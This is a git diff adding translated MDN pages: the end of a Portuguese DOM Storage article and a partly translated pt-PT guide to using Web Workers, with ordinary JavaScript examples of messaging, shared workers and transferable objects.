+  readonly attribute unsigned long length;
+  [IndexGetter] DOMString key(in unsigned long index);
+  [NameGetter] DOMString getItem(in DOMString key);
+  [NameSetter] void setItem(in DOMString key, in DOMString data);
+  [NameDeleter] void removeItem(in DOMString key);
+  void clear();
+};
+

 

+

sessionStorage

+

Este é um objeto global (sessionStorage) que mantém uma área de armazenamento disponível enquanto durar a sessão da página. Uma sessão de página dura enquanto o navegador estiver aberto e continua mesmo sobre recarregamentos e restaurações. Abrindo uma página em uma nova aba ou janela causará o início de uma nova sessão.

+
// Save data to a the current session's store
+sessionStorage.username = "John";
+
+// Access some stored data
+alert( "username = " + sessionStorage.username );
+
+

O objeto sessionStorage é útil para guardar dados temporários que devem ser salvos e restaurados se o navegador for atualizado acidentalmente.

+

{{ fx_minversion_note("3.5", "Nas versões anteriores ao Firefox 3.5, os dados em sessionStorage não eram restaurados automaticamente depois de recuperar-se de uma quebra no navegador. A partir do Firefox 3.5, isto funciona como na especificação.") }}

+

Exemplos:

+

Autosalvar o conteúdo de uma campo de texto, e se o navegador for atualizado acidentalmente , restaurar o conteúdo do campo de texto, não tendo perdas na escrita.

+
 // Get the text field that we're going to track
+ var field = document.getElementById("field");
+
+ // See if we have an autosave value
+ // (this will only happen if the page is accidentally refreshed)
+ if ( sessionStorage.autosave ) {
+     // Restore the contents of the text field
+     field.value = sessionStorage.autosave;
+ }
+
+ // Check the contents of the text field every second
+ setInterval(function(){
+     // And save the results into the session storage object
+     sessionStorage.autosave = field.value;
+ }, 1000);
+
+

Mais informações:

+ +

globalStorage

+

{{ Non-standard_header() }} Este é um objeto global (globalStorage) que mantém múltiplas áreas de armazenamento privadas que podem ser usadas para guardar dados por um longo período de tempo (por exemplo, sobre múltiplas láginas e sessões do navegador).

+
+ Nota: globalStorage não é uma instância de Storage, mas uma instância StorageList contendo instâncias StorageObsolete.
+
// Save data that only scripts on the mozilla.org domain can access
+globalStorage['mozilla.org'].snippet = "<b>Hello</b>, how are you?";
+
+

Especificamente, o objeto globalStorage fornece acesso a um número de diferentes objetos de armazenamento em que os dados sejam armazenados. Por exemplo, se construirmos uma página web que use globalStorage em seu domínio (developer.mozilla.org) é necessário termos o objeto de armazenamento a seguir disponível para nós:

+ +

{{ Fx_minversion_note(3, "O Firefox 2 passou a permitir acesso aos objetos de armazenamento superiores ao documento corrente na hierarquia do domínio. Por razões de segurança isto não é mais permitido no Firefox 3. Além disso, a proposta de adição ao HTML 5 foi removida da especificação do HTML 5 em favor de localStorage, que foi implementado no Firefox 3.5.") }}

+

Exemplos:

+

Todos estes exemplos requerem que você tenha uns script inserido (com o código seguinte) em todas as páginas que você quiser ver o resultado.

+

Lembrar o nome de usuário para o subdomínio particular que está sendo visitado:

+
 globalStorage['developer.mozilla.org'].username = "John";
+
+

Manter o número de vezes que um usuário visitou todas as páginas do seu domínio:

+
 // parseInt must be used since all data is stored as a string
+ globalStorage['mozilla.org'].visits =
+     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
+
+

localStorage

+

localStorage é o mesmo que globalStorage[location.hostname], com a exceção de ser projetado para a origem do HTML 5 (esquema + nome do host + porta não padrão) e localStorage é uma instância de Storage diferente de globalStorage[location.hostname] que é uma instância de StorageObsolete. Por exemplo, http://example.com não está disponível para acessar o mesmo objeto localStorage que https://example.com mas eles podem acessar o mesmo item globalStorage. localStorage é uma interface padrão enquanto globalStorage não é padrão. localStorage foi adicionada ao Firefox 3.5.

+

Por favor, note que configurar a propriedade globalStorage[location.hostname] não a configura em localStorage e por extensão Storage.prototype não afeta itens globalStorage, somente extendendo o que StorageObsolete.prototype faz.

+
+ Nota: Quando o navegador entra em modo de navegação privada, um novo banco de dados temporário é criado para guardar dados de armazenamento local; este banco de dados é vazio, e é jogado fora qunado o modo de navegação privado é desativado.
+

Mais informações

+ +

Exemplos

+ + + +

{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

diff --git a/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html b/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html new file mode 100644 index 0000000000..d9705559e7 --- /dev/null +++ b/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html @@ -0,0 +1,1091 @@ +--- +title: Utilização de Web Workers +slug: Web/API/Web_Workers_API/Utilizacao_de_web_workers +tags: + - Avançado + - Firefox + - Guía + - JavaScript + - Operadores + - Workers +translation_of: Web/API/Web_Workers_API/Using_web_workers +--- +
+

Web Workers é um meio simples para o conteúdo da Web para executar scripts em segmentos em segundo plano. O segmento do worker pode realizar tarefas sem interferir com a interface do utilizador. Em adição, eles podem executar I/O, utilizando XMLHttpRequest (embora e responseXML e os atributos de channel são sempre nulos). Uma vez criado, um worker pode enviar mensagens para o código JavaScript que o criou publicando mensagens para um manipulador de evento especificado por esse código (e vice-versa.) Este artigo fornece uma introdução detalhada para utilizar workers da Web.

+
+ +

API de Workers da Web

+ +

A worker is an object created using a constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. Thus, using the {{domxref("window")}} shortcut to get the current global scope (instead of {{domxref("window.self","self")}}) within a {{domxref("Worker")}} will return an error.

+ +

The worker context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}). A dedicated worker is only accessible from the script that first spawned it, whereas shared workers can be accessed from multiple scripts.

+ +
+

Nota: See The Web Workers API landing page for reference documentation on workers and additional guides.

+
+ +

You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under window, including WebSockets, and data storage mechanisms like IndexedDB and the Firefox OS-only Data Store API. See Functions and classes available to workers for more details.

+ +

Data is sent between workers and the main thread via a system of messages — both sides send their messages using the postMessage() method, and respond to messages via the onmessage event handler (the message is contained within the {{event("Message")}} event's data attribute.) The data is copied rather than shared.

+ +

Workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. In addition, workers may use XMLHttpRequest for network I/O, with the exception that the responseXML and channel attributes on XMLHttpRequest always return null.

+ +

Workers dedicados

+ +

As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our Basic dedicated worker example (run dedicated worker): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.

+ +

This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.

+ +

Detecção da funcionalidade worker

+ +

For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js):

+ +
if (window.Worker) {
+
+  ...
+
+}
+ +

Geração de um worker dedicado

+ +

Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (main.js):

+ +
+
var myWorker = new Worker('worker.js');
+
+
+ +

Enviar mensagens para /e de um worker dedicado

+ +

The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (main.js):

+ +
first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

So here we have two {{htmlelement("input")}} elements represented by the variables first and second; when the value of either is changed, myWorker.postMessage([first.value,second.value]) is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.

+ +

In the worker, we can respond when the message is received by writing an event handler block like this (worker.js):

+ +
onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}
+ +

The onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute. Here we simply multiply together the two numbers then use postMessage() again, to post the result back to the main thread.

+ +

Back in the main thread, we use onmessage again, to respond to the message sent back from the worker:

+ +
myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

Here we grab the message event data and set it as the textContent of the result paragraph, so the user can see the result of the calculation.

+ +
+

Nota: The URI passed as a parameter to the Worker constructor must obey the same-origin policy .

+ +

There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.

+
+ +
Nota: Notice that onmessage and postMessage() need to be hung off the Worker object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.
+ +
Nota: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.
+ +

Terminar um worker

+ +

If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:

+ +
myWorker.terminate();
+ +

The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.

+ +

In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:

+ +
close();
+ +

Lidar com erros

+ +

When a runtime error occurs in the worker, its onerror event handler is called. It receives an event named error which implements the ErrorEvent interface.

+ +

The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's preventDefault() method.

+ +

The error event has the following three fields that are of interest:

+ +
+
message
+
A human-readable error message.
+
filename
+
The name of the script file in which the error occurred.
+
lineno
+
The line number of the script file on which the error occurred.
+
+ +

Gerar subworkers

+ +

Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.

+ +

Importar scripts e bibliotecas

+ +

Worker threads have access to a global function, importScripts(), which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:

+ +
importScripts();                         /* imports nothing */
+importScripts('foo.js');                 /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js');       /* imports two scripts */
+importScripts('//example.com/hello.js'); /* You can import scripts from other origins */
+ +

The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, NETWORK_ERROR is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations after the importScripts() method are also kept, since these are always evaluated before the rest of the code.

+ +
Note: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into importScripts() . This is done synchronously; importScripts() does not return until all the scripts have been loaded and executed.
+ +

Shared workers (Partilhados)

+ +

A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our Basic shared worker example (run shared worker): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: multiplying two numbers, or squaring a number. Both scripts use the same worker to do the actual calculation required.

+ +

Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.

+ +
+

Nota: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).

+
+ +
+

Nota: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).

+
+ +

Gerar um shared worker

+ +

Spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following:

+ +
var myWorker = new SharedWorker('worker.js');
+ +

One big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).

+ +

The port connection needs to be started either implicitly by use of the onmessage event handler or explicitly with the start() method before any messages can be posted. Although the multiply.js and worker.js files in the demo currently call the start() method, those calls are not necessary since the onmessage event handler is being used. Calling start() is only needed if the message event is wired up via the addEventListener() method.

+ +

When using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.

+ +
myWorker.port.start();  // called in parent thread
+ +
port.start();  // called in worker thread, assuming the port variable references a port
+ +

Enviar mensagens para/e de um shared worker

+ +

Now messages can be sent to the worker as before, but the postMessage() method has to be invoked through the port object (again, you'll see similar constructs in both multiply.js and square.js):

+ +
squareNumber.onchange = function() {
+  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+  console.log('Message posted to worker');
+}
+ +

Now, on to the worker. There is a bit more complexity here as well (worker.js):

+ +
onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}
+ +

First, we use an onconnect handler to fire code when a connection to the port happens (i.e. when the onmessage event handler in the parent thread is setup, or when the start() method is explicitly called in the parent thread).

+ +

We use the ports attribute of this event object to grab the port and store it in a variable.

+ +

Next, we add a message handler on the port to do the calculation and return the result to the main thread. Setting up this message handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to port.start() is not actually needed, as noted above.

+ +

Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both multiply.js and square.js):

+ +
myWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.

+ +

Sobre a segurança de segmento

+ +

The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.

+ +

However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.

+ +

An example of a catastrophy would be like the following:

+ +

Conteúdo HTML

+ +
<html>
+<head>
+<title>Multithreading Catastrophy</title>
+<style>
+body { margin: 0px; }
+canvas { position: absolute; top: 0; bottom: 0; left: 0; right:0; width: 100%; height: 100%; }
+</style>
+<script src="main.js" async></script>
+</head>
+<body>
+<canvas id="canvas"></canvas>
+</body>
+</html>
+ +

Conteúdo main.js

+ +
// main.js
+var myworker = new Worker("worker.js"), width=window.innerWidth, height=window.innerHeight, context=document.getElementById('canvas').getContext('2d');
+var imagedatatmp=context.createImageData(width,height);
+
+myworker.onmessage = function(data){
+    imageData = imagedatatmp.from(data);
+};
+
+setTimeout(function draw_canvas() {
+    context.putImageData(imageData);
+    setTimeout(draw_canvas, 1000/60);
+},10);
+
+window.onresize = window.reload; // Quick (to type) n' dirty way to resize;
+ +

Conteúdo worker.js

+ +
// worker.js
+window.onmessage = function(width, height){
+var noise = function(x, y, z) {
+    var p = new Array(512), permutation = [151,160,137,91,90,15,131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10,23,190, 6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,88,237,149,56,87,174,20,125,136,171,168, 68,175,74,165,71,134,139,48,27,166,77,146,158,231,83,111,229,122,60,211,133,230,220,105,92,41,55,46,245,40,244,102,143,54, 65,25,63,161, 1,216,80,73,209,76,132,187,208, 89,18,169,200,196,135,130,116,188,159,86,164,100,109,198,173,186, 3,64,52,217,226,250,124,123,5,202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,223,183,170,213,119,248,152, 2,44,154,163, 70,221,153,101,155,167, 43,172,9,129,22,39,253, 19,98,108,110,79,113,224,232,178,185, 112,104,218,246,97,228,251,34,242,193,238,210,144,12,191,179,162,241, 81,51,145,235,249,14,239,107,49,192,214, 31,181,199,106,157,184, 84,204,176,115,121,50,45,127, 4,150,254,138,236,205,93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180];
+    for (var i = 0;i < 256;i++) p[256 + i] = p[i] = permutation[i];
+    var X = Math.floor(x) & 255, Y = Math.floor(y) & 255, Z = Math.floor(z) & 255; x -= Math.floor(x), y -= Math.floor(y), z -= Math.floor(z);
+    var u = fade(x), v = fade(y), w = fade(z);
+    var A = p[X] + Y, AA = p[A] + Z, AB = p[A + 1] + Z, B = p[X + 1] + Y, BA = p[B] + Z, BB = p[B + 1] + Z;
+    return scale(lerp(w, lerp(v, lerp(u, grad(p[AA], x, y, z), grad(p[BA], x - 1, y, z)), lerp(u, grad(p[AB], x, y - 1, z), grad(p[BB], x - 1, y - 1, z))), lerp(v, lerp(u, grad(p[AA + 1], x, y, z - 1), grad(p[BA + 1], x - 1, y, z - 1)), lerp(u, grad(p[AB + 1], x, y - 1, z - 1), grad(p[BB + 1], x - 1, y - 1, z - 1)))));
+};
+  function fade(t) { return t * t * t * (t * (t * 6 - 15) + 10); }
+  function lerp(t, a, b) { return a + t * (b - a); }
+  function grad(hash, x, y, z) {
+    var h = hash & 15; var u = h < 8 ? x : y, v = h < 4 ? y : h == 12 || h == 14 ? x : z;
+    return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
+  }
+  function scale(n) { return (1 + n) / 2; }
+var length = width*height; var canvasnoisedata=new UInt32Array(length);
+
+setTimeout(function make_noise() {
+var i=length, z=Math.random()*1024;
+  while ( i-- ) {
+      canvasnoisedata[i] = noise(i%width+z,i/width+z,z);
+  }
+  setTimeout(make_noise, 1000/60);
+},1000/60);
+
+setTimeout(function post_noise() {
+    postMessage( canvasnoisedata );
+    setTimeout(post_noise, 1000/60);
+},1000/60);
+};
+
+ +

Resultado

+ +

{{ EmbedLiveSample('ats.html') }}

+ +

Política de segurança de conteúdo

+ +

Workers are considered to have their own execution context, distinct from the document that created them. For this reason they are, in general, not governed by the content security policy of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:

+ +
Content-Security-Policy: script-src 'self'
+ +
Among other things, this will prevent any scripts it includes from using eval(). However, if the script constructs a worker, code running in the worker's context will be allowed to use eval().
+
+To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which delivered the worker script itself.
+
+The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker that created it.
+ +
 
+ +

Transferir dados para/e de workers: detalhes adicionais

+ +

Data passed between the main page and workers is copied, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker do not share the same instance, so the end result is that a duplicate is created on each end. Most browsers implement this feature as structured cloning.

+ +

To illustrate this, let's create for didactical purpose a function named emulateMessage(), which will simulate the behavior of a value that is cloned and not shared during the passage from a worker to the main page or vice versa:

+ +
function emulateMessage(vVal) {
+    return eval('(' + JSON.stringify(vVal) + ')');
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String('Hello World');
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    'name': 'John Smith',
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal(sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal('Cat', 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object
+ +

A value that is cloned and not shared is called message. As you will probably know by now, messages can be sent to and from the main thread by using postMessage(), and the message event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.

+ +

example.html: (a página principal):

+ +
var myWorker = new Worker('my_task.js');
+
+myWorker.onmessage = function(oEvent) {
+  console.log('Worker said : ' + oEvent.data);
+};
+
+myWorker.postMessage('ali');
+ +

my_task.js (o worker):

+ +
postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function(oEvent) {
+  postMessage('Hi ' + oEvent.data);
+};
+ +

The structured cloning algorithm can accept JSON and a few things that JSON can't — like circular references.

+ +

Passagem de exemplos de dados

+ +

Exemplo #1: Criar um genérico "assíncrono eval()"

+ +

The following example shows how to use a worker in order to asynchronously execute any JavaScript code allowed in a worker, through eval() within the worker:

+ +
// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+  var aListeners = [], oParser = new Worker('data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D');
+
+  oParser.onmessage = function(oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+  return function(sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      'id': aListeners.length - 1,
+      'code': sCode
+    });
+  };
+})();
+ +

The data URL is equivalent to a network request, with the following response:

+ +
onmessage = function(oEvent) {
+  postMessage({
+    'id': oEvent.data.id,
+    'evaluated': eval(oEvent.data.code)
+  });
+}
+ +

Amostra de utilização:

+ +
// asynchronous alert message...
+asyncEval('3 + 2', function(sMessage) {
+    alert('3 + 2 = ' + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function(sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
+ +

Exemplo #2: Passagem avançada da 'Dados' JSON e criar um sistema de troca

+ +

If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.

+ +

First, we create a QueryableWorker class that takes the url of the worker, a default listener, and an error handler, and this class is going to keep track of a list of listeners and help us communicate with the worker:

+ +
function QueryableWorker(url, defaultListener, onError) {
+    var instance = this,
+        worker = new Worker(url),
+        listeners = {};
+
+    this.defaultListener = defaultListener || function() {};
+
+    if (onError) {worker.onerror = onError;}
+
+    this.postMessage = function(message) {
+        worker.postMessage(message);
+    }
+
+    this.terminate = function() {
+        worker.terminate();
+    }
+}
+ +

Then we add the methods of adding/removing listeners:

+ +
this.addListeners = function(name, listener) {
+    listeners[name] = listener;
+}
+
+this.removeListeners = function(name) {
+    delete listeners[name];
+}
+ +

Here we let the worker handle two simple operations for illustration: getting the difference of two numbers and making an alert after three seconds. In order to achieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.

+ +
/*
+  This functions takes at least one argument, the method name we want to query.
+  Then we can pass in the arguments that the method needs.
+ */
+this.sendQuery = function() {
+    if (arguments.length < 1) {
+         throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
+         return;
+    }
+    worker.postMessage({
+        'queryMethod': arguments[0],
+        'queryArguments': Array.prototype.slice.call(arguments, 1)
+    });
+}
+ +

We finish QueryableWorker with the onmessage method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in listeners.:

+ +
worker.onmessage = function(event) {
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty('queryMethodListener') &&
+        event.data.hasOwnProperty('queryMethodArguments')) {
+        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+    } else {
+        this.defaultListener.call(instance, event.data);
+    }
+}
+
+ +

Now onto the worker.  First we need to have the methods to handle the two simple operations:

+ +
var queryableFunctions = {
+    getDifference: function(a, b) {
+        reply('printStuff', a - b);
+    },
+    waitSomeTime: function() {
+        setTimeout(function() {
+            reply('doAlert', 3, 'seconds');
+        }, 3000);
+    }
+}
+
+function reply() {
+    if (arguments.length < 1) {
+        throw new TypeError('reply - takes at least one argument');
+        return;
+    }
+    postMessage({
+        queryMethodListener: arguments[0],
+        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
+    });
+}
+
+/* This method is called when main page calls QueryWorker's postMessage method directly*/
+function defaultReply(message) {
+    // do something
+}
+
+ +

And the onmessage method is now trivial:

+ +
onmessage = function(event) {
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty('queryMethod') &&
+        event.data.hasOwnProperty('queryMethodArguments')) {
+        queryableFunctions[event.data.queryMethod]
+            .apply(self, event.data.queryMethodArguments);
+    } else {
+        defaultReply(event.data);
+    }
+}
+
+ +

Here are the full implementation:

+ +

example.html (the main page):

+ +
<!doctype html>
+  <html>
+    <head>
+      <meta charset="UTF-8"  />
+      <title>MDN Example - Queryable worker</title>
+    <script type="text/javascript">
+    /*
+      QueryableWorker instances methods:
+        * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+        * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+        * terminate(): terminates the Worker
+        * addListener(name, function): adds a listener
+        * removeListener(name): removes a listener
+      QueryableWorker instances properties:
+        * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+     */
+    function QueryableWorker(url, defaultListener, onError) {
+      var instance = this,
+      worker = new Worker(url),
+      listeners = {};
+
+      this.defaultListener = defaultListener || function() {};
+
+      if (onError) {worker.onerror = onError;}
+
+      this.postMessage = function(message) {
+        worker.postMessage(message);
+      }
+
+      this.terminate = function() {
+        worker.terminate();
+      }
+
+      this.addListener = function(name, listener) {
+        listeners[name] = listener;
+      }
+
+      this.removeListener = function(name) {
+        delete listeners[name];
+      }
+
+      /*
+        This functions takes at least one argument, the method name we want to query.
+        Then we can pass in the arguments that the method needs.
+      */
+      this.sendQuery = function() {
+        if (arguments.length < 1) {
+          throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
+          return;
+        }
+        worker.postMessage({
+          'queryMethod': arguments[0],
+          'queryMethodArguments': Array.prototype.slice.call(arguments, 1)
+        });
+      }
+
+      worker.onmessage = function(event) {
+        if (event.data instanceof Object &&
+          event.data.hasOwnProperty('queryMethodListener') &&
+          event.data.hasOwnProperty('queryMethodArguments')) {
+          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+        } else {
+          this.defaultListener.call(instance, event.data);
+        }
+      }
+    }
+
+    // your custom "queryable" worker
+    var myTask = new QueryableWorker('my_task.js');
+
+    // your custom "listeners"
+    myTask.addListener('printStuff', function (result) {
+      document.getElementById('firstLink').parentNode.appendChild(document.createTextNode('The difference is ' + result + '!'));
+    });
+
+    myTask.addListener('doAlert', function (time, unit) {
+      alert('Worker waited for ' + time + ' ' + unit + ' :-)');
+    });
+</script>
+</head>
+<body>
+  <ul>
+    <li><a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
+    <li><a href="javascript:myTask.sendQuery('waitSomeTime');">Wait 3 seconds</a></li>
+    <li><a href="javascript:myTask.terminate();">terminate() the Worker</a></li>
+  </ul>
+</body>
+</html>
+ +

my_task.js (o worker):

+ +
var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function(nMinuend, nSubtrahend) {
+      reply('printStuff', nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomeTime: function() {
+      setTimeout(function() { reply('doAlert', 3, 'seconds'); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultReply(message) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply() {
+  if (arguments.length < 1) { throw new TypeError('reply - not enough arguments'); return; }
+  postMessage({ 'queryMethodListener': arguments[0], 'queryMethodArguments': Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function(oEvent) {
+  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty('queryMethod') && oEvent.data.hasOwnProperty('queryMethodArguments')) {
+    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
+  } else {
+    defaultReply(oEvent.data);
+  }
+};
+ +

It is possible to switch the content of each mainpage -> worker and worker -> mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in QueryableWorker and the worker.

+ +

Passing data by transferring ownership (transferable objects)

+ +

Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.

+ +
// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
+for (var i = 0; i < uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+
+ +
+

Nota: For more information on transferable objects, performance, and feature-detection for this method, read Transferable Objects: Lightning Fast! on HTML5 Rocks.

+
+ +

Workers integrados

+ +

There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a src attribute and has a type attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>MDN Example - Embedded worker</title>
+<script type="text/js-worker">
+  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+  var myVar = 'Hello World!';
+  // Rest of your worker code goes here.
+</script>
